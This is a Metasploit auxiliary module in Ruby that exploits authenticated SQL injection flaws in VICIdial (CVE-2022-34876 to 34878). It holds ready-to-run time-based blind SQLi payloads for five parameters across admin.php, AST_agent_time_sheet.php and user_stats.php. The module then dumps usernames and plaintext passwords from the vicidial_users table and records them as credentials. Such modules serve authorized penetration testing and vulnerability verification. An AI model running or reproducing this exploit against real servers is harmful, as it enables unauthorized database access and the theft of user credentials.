##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VICIdial Multiple Authenticated SQLi',
'Description' => %q{
This module exploits several authenticated SQL Inject vulnerabilities in VICIdial 2.14b0.5 prior to
svn/trunk revision 3555 (VICIBox 10.0.0, prior to January 20 is vulnerable).
Injection point 1 is on vicidial/admin.php when adding a user, in the modify_email_accounts parameter.
Injection point 2 is on vicidial/admin.php when adding a user, in the access_recordings parameter.
Injection point 3 is on vicidial/admin.php when adding a user, in the agentcall_email parameter.
Injection point 4 is on vicidial/AST_agent_time_sheet.php when adding a user, in the agent parameter.
Injection point 5 is on vicidial/user_stats.php when adding a user, in the file_download parameter.
VICIdial does not encrypt passwords by default.
},
'Author' => [
'h00die' # msf module, discovery
],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://www.vicidial.org/VICIDIALforum/viewtopic.php?f=4&t=41300&sid=aacb27a29fefd85265b4d55fe51122af'],
[ 'CVE', '2022-34876'], # admin.php
[ 'CVE', '2022-34877'], # AST_agent_time_sheet.php
[ 'CVE', '2022-34878'] # user_stats.php
],
'Actions' => [
['List Users - modify_email_accounts method', { 'Description' => 'Queries username, password for COUNT users' }],
['List Users - access_recordings method', { 'Description' => 'Queries username, password for COUNT users' }],
['List Users - agentcall_email method', { 'Description' => 'Queries username, password for COUNT users' }],
['List Users - agent_time_sheet method', { 'Description' => 'Queries username, password for COUNT users' }],
['List Users - user_stats method', { 'Description' => 'Queries username, password for COUNT users' }],
],
'DefaultAction' => 'List Users',
'DisclosureDate' => '2022-04-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options [
OptInt.new('COUNT', [false, 'Number of users to enumerate', 3]),
OptString.new('USERNAME', [true, 'Valid Username for login', '6666']),
OptString.new('PASSWORD', [true, 'Valid Password for login', '']),
OptString.new('ACTION', [true, 'Valid Password for login', 'List Users - access_recordings method'])
]
end
def post_4a
{
'ADD' => '4A',
'custom_fields_modify' => '0',
'user' => '111',
'pass' => '111',
'force_change_password' => 'N',
'full_name' => '111',
'user_level' => '1',
'user_group' => 'ADMIN',
'phone_login' => '111',
'phone_pass' => '111',
'active' => 'Y',
'voicemail_id' => '',
'email' => '',
'mobile_number' => '',
'user_code' => '',
'user_location' => '',
'territory' => '',
'user_nickname' => '',
'user_new_lead_limit' => '-1',
'agent_choose_ingroups' => '1',
'agent_choose_blended' => '1',
'hotkeys_active' => '0',
'scheduled_callbacks' => '1',
'agentonly_callbacks' => '0',
'next_dial_my_callbacks' => 'NOT_ACTIVE',
'agentcall_manual' => '0',
'manual_dial_filter' => 'DISABLED',
'agentcall_email' => '0',
'agentcall_chat' => '0',
'vicidial_recording' => '1',
'vicidial_transfers' => '1',
'closer_default_blended' => '0',
'user_choose_language' => '0',
'selected_language' => 'defaultEnglish',
'vicidial_recording_override' => 'DISABLED',
'mute_recordings' => 'DISABLED',
'alter_custdata_override' => 'NOT_ACTIVE',
'alter_custphone_override' => 'NOT_ACTIVE',
'agent_shift_enforcement_override' => 'DISABLED',
'agent_call_log_view_override' => 'DISABLED',
'hide_call_log_info' => 'DISABLED',
'agent_lead_search' => 'NOT_ACTIVE',
'lead_filter_id' => 'NONE',
'user_hide_realtime' => '0',
'allow_alerts' => '0',
'preset_contact_search' => 'NOT_ACTIVE',
'max_inbound_calls' => '0',
'max_inbound_filter_enabled' => '0',
'max_inbound_filter_min_sec' => '-1',
'max_hopper_calls' => '0',
'max_hopper_calls_hour' => '0',
'wrapup_seconds_override' => '-1',
'ready_max_logout' => '-1',
'status_group_id' => '',
'custom_one' => '',
'custom_two' => '',
'custom_three' => '',
'custom_four' => '',
'custom_five' => '',
'qc_enabled' => '0',
'qc_user_level' => '1',
'qc_pass' => '0',
'qc_finish' => '0',
'qc_commit' => '0',
'realtime_block_user_info' => '0',
'admin_hide_lead_data' => '0',
'admin_hide_phone_data' => '0',
'ignore_group_on_search' => '0',
'user_admin_redirect_url' => '',
'view_reports' => '0',
'access_recordings' => '0',
'alter_agent_interface_options' => '0',
'modify_users' => '0',
'change_agent_campaign' => '0',
'delete_users' => '0',
'modify_usergroups' => '0',
'delete_user_groups' => '0',
'modify_lists' => '0',
'delete_lists' => '0',
'load_leads' => '0',
'modify_leads' => '0',
'export_gdpr_leads' => '0',
'download_lists' => '0',
'export_reports' => '0',
'delete_from_dnc' => '0',
'modify_campaigns' => '0',
'campaign_detail' => '0',
'delete_campaigns' => '0',
'modify_ingroups' => '0',
'delete_ingroups' => '0',
'modify_inbound_dids' => '0',
'delete_inbound_dids' => '0',
'modify_custom_dialplans' => '0',
'modify_remoteagents' => '0',
'delete_remote_agents' => '0',
'modify_scripts' => '0',
'delete_scripts' => '0',
'modify_filters' => '0',
'delete_filters' => '0',
'ast_admin_access' => '0',
'ast_delete_phones' => '0',
'modify_call_times' => '0',
'delete_call_times' => '0',
'modify_servers' => '0',
'modify_shifts' => '0',
'modify_phones' => '0',
'modify_carriers' => '0',
'modify_email_accounts' => '0',
'vKik' => 'vKik',
'modify_labels' => '0',
'modify_colors' => '0',
'modify_languages' => '0',
'modify_statuses' => '0',
'modify_voicemail' => '0',
'modify_audiostore' => '0',
'modify_moh' => '0',
'modify_tts' => '0',
'modify_contacts' => '0',
'callcard_admin' => '0',
'modify_auto_reports' => '0',
'add_timeclock_log' => '0',
'modify_timeclock_log' => '0',
'delete_timeclock_log' => '0',
'manager_shift_enforcement_override' => '0',
'pause_code_approval' => '0',
'admin_cf_show_hidden' => '0',
'modify_ip_lists' => '0',
'ignore_ip_list' => '0',
'two_factor_override' => 'NOT_ACTIVE',
'vdc_agent_api_access' => '0',
'api_list_restrict' => '0',
'api_allowed_functions[]' => 'ALL_FUNCTIONS',
'api_only_user' => '0',
'modify_same_user_level' => '1',
'alter_admin_interface_options' => '1',
'SUBMIT' => 'SUBMIT'
}
end
def basic_auth
user_pass = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
{
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
}
end
def inject_admin_page(param, payload)
data = post_4a
d = Rex::Text.rand_text_numeric(4)
data[param] = "0' AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND '#{d}'='#{d}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'vicidial', 'admin.php'),
'headers' => basic_auth,
'vars_post' => data
})
fail_with Failure::Unreachable, 'Connection failed' unless res
end
def run_host(ip)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'vicidial', 'admin.php'),
'headers' => basic_auth
})
fail_with(Failure::Unreachable, 'Failed to load website') unless res
fail_with(Failure::NoAccess, 'Invalid login/password') if res.code == 401
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
d = Rex::Text.rand_text_numeric(4)
if datastore['ACTION'] == 'List Users - modify_email_accounts method'
inject_admin_page('modify_email_accounts', payload)
elsif datastore['ACTION'] == 'List Users - access_recordings method'
inject_admin_page('access_recordings', payload)
elsif datastore['ACTION'] == 'List Users - agentcall_email method'
inject_admin_page('agentcall_email', payload)
elsif datastore['ACTION'] == 'List Users - agent_time_sheet method'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'vicidial', 'AST_agent_time_sheet.php'),
'headers' => basic_auth,
'vars_get' => {
'agent' => "0' AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND '#{d}'='#{d}"
}
})
elsif datastore['ACTION'] == 'List Users - user_stats method'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'vicidial', 'user_stats.php'),
'headers' => basic_auth,
'vars_get' => {
'DB' => '',
'pause_code_rpt' => '',
'park_rpt' => '1',
'did_id' => '',
'did' => '',
'begin_date' => Date.today.to_s,
'end_date' => Date.today.to_s,
'user' => '',
'submit' => 'submit',
'search_archived_data' => '',
'NVAuser' => '',
'file_download' => "1' AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND '#{d}'='#{d}"
}
})
end
end
unless @sqli.test_vulnerable
print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
return
end
columns = ['user', 'pass']
print_status('Enumerating Usernames and Password Hashes')
data = @sqli.dump_table_fields('vicidial_users', columns, '', datastore['COUNT'])
table = Rex::Text::Table.new('Header' => 'vicidial_users', 'Indent' => 1, 'Columns' => columns)
data.each do |user|
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :password,
private_data: user[1],
service_name: 'VICIdial',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << user
end
print_good('Dumped table contents:')
print_line(table.to_s)
end
end